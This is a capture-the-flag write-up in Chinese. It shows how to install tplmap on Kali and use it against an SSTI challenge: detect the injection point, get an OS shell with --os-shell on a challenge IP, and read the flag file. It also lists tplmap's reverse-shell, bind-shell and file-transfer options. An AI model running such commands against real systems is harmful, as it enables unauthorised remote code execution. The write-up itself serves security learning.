栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

CTF之路:利用tplmap实现SSTI模板注入

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

CTF之路:利用tplmap实现SSTI模板注入

1.题目

SSTI -Simple2
提示了SSTI,提示了参数flag。显示这是一道以flag为参数的SSTI模板注入题目

因此,使用模板注入工具tplmap来解题。

2.知识点

kali 下安装tplmap

1.安装kali下的python2的pip工具

kali2020版及以上, 输入python2命令会执行python2, python3也存在。

但pip默认是pip3, 而我们需要的是pip2, 所以我们需要先安装pip2

# 进入/home/kali目录
cd 

#下载pip2安装脚本
wget  https://bootstrap.pypa.io/pip/2.6/get-pip.py

#python2执行 需要sudo权限
sudo python2 get-pip.py

#升级pip2
sudo pip2 install --upgrade pip 

#安装pip2扩展工具,不然后面安装还是报错
sudo pip2 install --upgrade setuptools 

2.tplmap的安装和使用

tpl是用python2编写的,报错一般是使用了py3

以下操作均在kali 2021的环境下操作

2.1 使用git克隆tplmap

git clone https://github.com/epinna/tplmap

cd tplmap

sudo pip2 install -r requirements.txt`

2.2 操作实例

#探测注入点
python2 tplmap.py -u 'http://xxx.xx.xx.x/?flag'

#获取shell
python2 tplmap.py -u 'http:///xxx.xx.xx.x/?flag' --os-shell

2.3 详细命令

--os-shell                          Run shell on the target
--os-cmd                            Execute shell commands
--bind-shell PORT                   Connect to a shell bind to a target port
--reverse-shell HOST PORT   Send a shell back to the attacker's port
--upload LOCAL REMOTE       Upload files to the server
--download REMOTE LOCAL     Download remote files
3.问题解析
#探测注入点
python2 tplmap.py -u 'http://114.67.175.224:14662/?flag'

#获取shell
python2 tplmap.py -u 'http://114.67.175.224:14662/?flag' --os-shell

#查看目录
ls

#发现flag文件,打开
cat flag

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/701239.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号